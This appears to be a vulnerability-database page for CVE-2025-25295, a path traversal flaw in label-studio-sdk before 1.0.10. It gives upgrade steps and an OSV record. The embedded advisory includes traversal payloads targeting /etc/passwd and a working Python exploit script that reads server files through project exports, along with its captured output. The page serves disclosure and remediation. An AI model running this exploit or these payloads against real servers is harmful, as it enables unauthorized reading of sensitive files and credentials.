Vulnerabilities in pkg:pypi/label-studio-sdk
PACKAGECVE-2025-25295 is a HIGH path traversal vulnerability (CWE-26: Path Traversal: '/dir/../filename') affecting Label studio sdk libraries in the PyPI ecosystem. The issue involves label studio has a path traversal vulnerability via image field. Remediation is available by upgrading affected packages to version 1.0.10.
pkg:pypi/label-studio-sdk
Vulnerability advisories affecting package pkg:pypi/label-studio-sdk. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-rgv9-w7jp-m23g | CVE-2025-25295 | HIGH | Label Studio has a Path Traversal Vulnerability via image Field |
CVE-2025-25295 at a Glance
How to Fix CVE-2025-25295
To remediate this vulnerability, upgrade all affected Label studio sdk dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install label-studio-sdk>=1.0.10
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show label-studio-sdk
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2025-25295, inspect your installed packages using pip:
pip show label-studio-sdk
Analyze the terminal output to locate any version of Label studio sdk in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.10), your application is affected.
Note: The pip show label-studio-sdk command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-26: Path Traversal: '/dir/../filename', where the product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "/dir/../filename" sequences that can resolve to a location that is outside of that directory. In Label studio sdk, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-25295 Affected Label studio sdk Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
label-studio-sdk
|
PyPI |
< 1.0.10
|
1.0.10
|
References
Frequently Asked Questions
What is CVE-2025-25295?
Which Label studio sdk versions are affected?
What version fixes CVE-2025-25295?
Is label-studio-sdk affected?
What CWE is associated with CVE-2025-25295?
How can I check PyPI dependencies for CVE-2025-25295?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-rgv9-w7jp-m23g",
"modified" : "2025-02-14T18:40:06Z",
"published" : "2025-02-14T15:16:40Z",
"aliases" : [ "CVE-2025-25295" ],
"summary" : "Label Studio has a Path Traversal Vulnerability via image Field",
"details" : "## Description\nA path traversal vulnerability in Label Studio SDK versions prior to 1.0.10 allows unauthorized file access outside the intended directory structure. Label Studio versions before 1.16.0 specified SDK versions prior to 1.0.10 as dependencies, and the issue was confirmed in Label Studio version 1.13.2.dev0; therefore, Label Studio users should upgrade to 1.16.0 or newer to mitigate it. The flaw exists in the VOC, COCO and YOLO export functionalites. These functions invoke a `download` function on the `label-studio-sdk` python package, which fails to validate file paths when processing image references during task exports:\n\n```python\ndef download(\n url,\n output_dir,\n filename=None,\n project_dir=None,\n return_relative_path=False,\n upload_dir=None,\n download_resources=True,\n):\n is_local_file = url.startswith(\"/data/\") and \"?d=\" in url\n is_uploaded_file = url.startswith(\"/data/upload\")\n\n if is_uploaded_file:\n upload_dir = _get_upload_dir(project_dir, upload_dir)\n filename = urllib.parse.unquote(url.replace(\"/data/upload/\", \"\"))\n filepath = os.path.join(upload_dir, filename)\n logger.debug(\n f\"Copy {filepath} to {output_dir}\".format(\n filepath=filepath, output_dir=output_dir\n )\n )\n if download_resources:\n shutil.copy(filepath, output_dir)\n if return_relative_path:\n return os.path.join(\n os.path.basename(output_dir), os.path.basename(filename)\n )\n return filepath\n\n if is_local_file:\n filename, dir_path = url.split(\"/data/\", 1)[-1].split(\"?d=\")\n dir_path = str(urllib.parse.unquote(dir_path))\n filepath = os.path.join(LOCAL_FILES_DOCUMENT_ROOT, dir_path)\n if not os.path.exists(filepath):\n raise FileNotFoundError(filepath)\n if download_resources:\n shutil.copy(filepath, output_dir)\n return filepath\n```\n\nBy creating tasks with path traversal sequences in the image field, an attacker can force the application to read files from arbitrary server filesystem locations when exporting projects in any of the mentioned formats.\n\nNote that there are two different possible code paths leading to this result, one for the `is_uploaded_file` and another one for the `is_local_file`.\n\n## Steps to Reproduce\n1. Login to Label Studio\n2. Create project with image labeling configuration\n3. If the `data/media/upload` directory doesn't exists yet, upload an image to force the server to create it\n4. Create task with path traversal in image field\n \n 4.1. To trigger the `is_uploaded_file` code path:\n ```json\n {\n \"data\": {\n \"text\": \"test\",\n \"image\": \"/data/upload/../../../../../etc/passwd\"\n }\n }\n ```\n 4.2. To trigger the `is_local_file` code path:\n ```json\n {\n \"data\": {\n \"text\": \"test\",\n \"image\": \"/data/local-files/?d=../../../etc/passwd\"\n }\n }\n ```\n6. Export project using VOC, YOLO or COCO formats. The server will return a Zip file in any of the three cases, for example:\n ```\n GET /api/projects/1/export?exportType=VOC&download_all_tasks=true&download_resources=true\n ```\n7. Download the generated Zip file. The server's /etc/passwd file will be at `images/passwd` on the Zip file.\n\n\nAlternatively, use the following exploit code, updating the `BASE_URL`, `USERNAME` and `PASSWORD` variables. Please note that the code will attempt to create a new user, but if the user exists and the credentials are valid, it will still work. Modify `METHOD` and `EXPORT_TYPE` to test the different code paths and export formats:\n\n```python\nimport requests\nfrom bs4 import BeautifulSoup\nimport io\nimport zipfile\n\n\nBASE_URL = \"http://xbow-app-1:8000\"\nUSERNAME = \"test@test.com\"\nPASSWORD = \"Test123!@#\"\nMETHOD = \"is_uploaded_file\" # Valid values: \"is_uploaded_file\" or \"is_local_file\"\nEXPORT_TYPE = \"VOC\" # Valid values: \"VOC\", \"COCO\" or \"YOLO\"\n\nprint(\"Signing up...\")\nurl = \"%s/user/signup/\" % BASE_URL\nsession = requests.Session()\n\n# First get the CSRF token\nresponse = session.get(url)\nsoup = BeautifulSoup(response.text, 'html.parser')\ncsrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']\nprint(f\"Got CSRF token: {csrf_token}\")\n\n# Prepare registration data\ndata = {\n 'csrfmiddlewaretoken': csrf_token,\n 'email': USERNAME,\n 'password': PASSWORD,\n 'allow_newsletters': 'false',\n 'allow_newsletters_visual': 'false'\n}\n\nheaders = {\n 'Referer': url,\n 'Content-Type': 'application/x-www-form-urlencoded',\n}\n\n# Submit the registration request\nresponse = session.post(url, data=data, headers=headers)\nprint(f\"User registration response status code: {response.status_code}\\n\")\n\n# Login\nprint(\"Logging in...\")\nurl = \"%s/user/login\" % BASE_URL\n\n# Attempt login with our credentials\nlogin_data = {\n 'csrfmiddlewaretoken': csrf_token,\n 'email': USERNAME,\n 'password': PASSWORD,\n}\n\nheaders = {\n 'Referer': url,\n 'Content-Type': 'application/x-www-form-urlencoded',\n}\n\nresponse = session.post(url, data=login_data, headers=headers)\n\nprint(f\"Login response status code: {response.status_code}\")\n\n# Check if we got any tokens in the response\nprint(\"\\nCookies after login:\")\nfor cookie in session.cookies:\n print(f\"{cookie.name}: {cookie.value}\")\n\n\n# We will use these headers moving forward\nheaders = {\n 'Content-Type': 'application/json',\n 'X-CSRFToken': session.cookies['csrftoken']\n}\n\n# Creat a project to then create a task associated to it\nprint(\"\\nCreating project...\")\n# Try to create a project with a file upload configuration\nproject_data = {\n \"title\": \"File Upload Test\",\n \"description\": \"Testing file upload functionality\",\n \"label_config\": \"\"\"\n <View>\n <Image name=\"image\" value=\"$image\"/>\n <Text name=\"text\" value=\"$text\"/>\n <Choices name=\"choice\" toName=\"image\">\n <Choice value=\"yes\"/>\n <Choice value=\"no\"/>\n </Choices>\n </View>\n \"\"\"\n}\nresponse = session.post(\"%s/api/projects/\" % BASE_URL, json=project_data, headers=headers)\nif response.status_code != 201:\n print(\"Problem creating project, aborting\")\n exit(0) \nproject_id = response.json()['id']\nprint(f\"Project ID: {project_id}\\n\")\n\n# Create task using a filename to later abuse a path traversal vulnerability during file export\nprint(f\"Creating task with method {METHOD} (defaults to is_local_file)...\")\ntask_data = {}\nif (METHOD == \"is_uploaded_file\"):\n task_data[\"data\"] = {\n \"text\": \"test\",\n \"image\": \"/data/upload/../../../../../etc/passwd\" # Trigger for is_uploaded_file\n }\nelse:\n task_data[\"data\"] = {\n \"text\": \"test\",\n \"image\": \"/data/local-files/?d=../../../etc/passwd\" # Trigger for is_local_file\n }\nresponse = session.post(f\"{BASE_URL}/api/projects/{project_id}/tasks\", json=task_data, headers=headers)\nif response.status_code != 201:\n print(\"Problem creating task, aborting\")\n exit(0) \ntask_id = response.json()['id']\nprint(f\"Task created successfully, task id: {task_id}\\n\")\n\n# Issue a dummy upload request to force the creation of the ~/data/images/upload folder\nresponse = session.post(f\"{BASE_URL}/api/projects/{project_id}/import?commit_to_project=false\", files={\"bar.png\":\"data\"})\n\n# Request the server to generate a zip with all of the project information and files (works for YOLO, COCO or VOC)\nresponse = session.get(f\"{BASE_URL}/api/projects/{project_id}/export?exportType={EXPORT_TYPE}&download_all_tasks=true&download_resources=true\")\nif (response.status_code != 200):\n print(\"Couldn't fetch export file\")\n exit(0)\n\nfile_like_object = io.BytesIO(response.content)\nzipfile_ob = zipfile.ZipFile(file_like_object)\nprint(\"Dumping /etc/passwd file contents:\")\nprint(zipfile_ob.read(\"images/passwd\").decode(\"utf-8\"))\n\n```\n\nOutput:\n\n```\n$ python3 studio-min.py\nSigning up...\nGot CSRF token: CQXYq1qbQ5jMG2FjQfzodC3i6weiIMq9T6lqhBQLT94sbcLKOg0ZeZxep7hPKLM6\nUser registration response status code: 200\n\nLogging in...\nLogin response status code: 200\n\nCookies after login:\ncsrftoken: PsEKLHstcGIXDFCP3OGQGCwKUFOdlN33\nsessionid: .eJxVj8tyhSAQRP-FtVrIQ8Dl3ecbqAEGNRqwRKvyqPx7JHUXyXKme7rnfJFrCWQkTDHlpYit1jq2AiVrgQpoqZYATvSMu540JB8TpOUTziUnu69k7BuyQTntlqcl3aPiSklquOoUZ7pnoiEWrnO2V8HD_lbVnD87B37FVIXwCmnKnc_pPBbXVUv3VEv3kgNuj6f3X8AMZb6vTaQQuaaoghCOBqFMuJ8egjdGGu4oiMCDdkpHGEQMWhoXNUM59D5Q5-_QFXG3b1hhJgy2AkXYCt51BUupzPi-L8cHGen3D57HZCg:1tbQOv:nomwczhhTvAaXMoyRrO30lWR5UkGi7AqiUHKyshQJ30\n\nCreating project...\nProject ID: 10\n\nCreating task with method is_uploaded_file (defaults to is_local_file)...\nTask created successfully, task id: 10\n\nDumping /etc/passwd file contents:\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\nnginx:x:999:999:nginx user:/nonexistent:/usr/sbin/nologin\n```\n\n## Mitigations\n- Validate and sanitize file paths\n- Add an allowlist of directories and file types\n- Implement file access controls\n- Use randomized file names and secure file storage abstraction\n\n## Impact\nAuthentication-required vulnerability allowing arbitrary file reads from the server filesystem. Potential exposure of sensitive information like configuration files, credentials, and confidential data.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "label-studio-sdk"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.0.10"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/HumanSignal/label-studio/security/advisories/GHSA-rgv9-w7jp-m23g"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-25295"
}, {
"type" : "WEB",
"url" : "https://github.com/HumanSignal/label-studio-sdk/commit/4a9715c6b0b619371e89c09ea8d1c86ce5c880df"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/HumanSignal/label-studio-sdk"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22", "CWE-26" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2025-02-14T15:16:40Z",
"nvd_published_at" : "2025-02-14T17:15:20Z"
}
}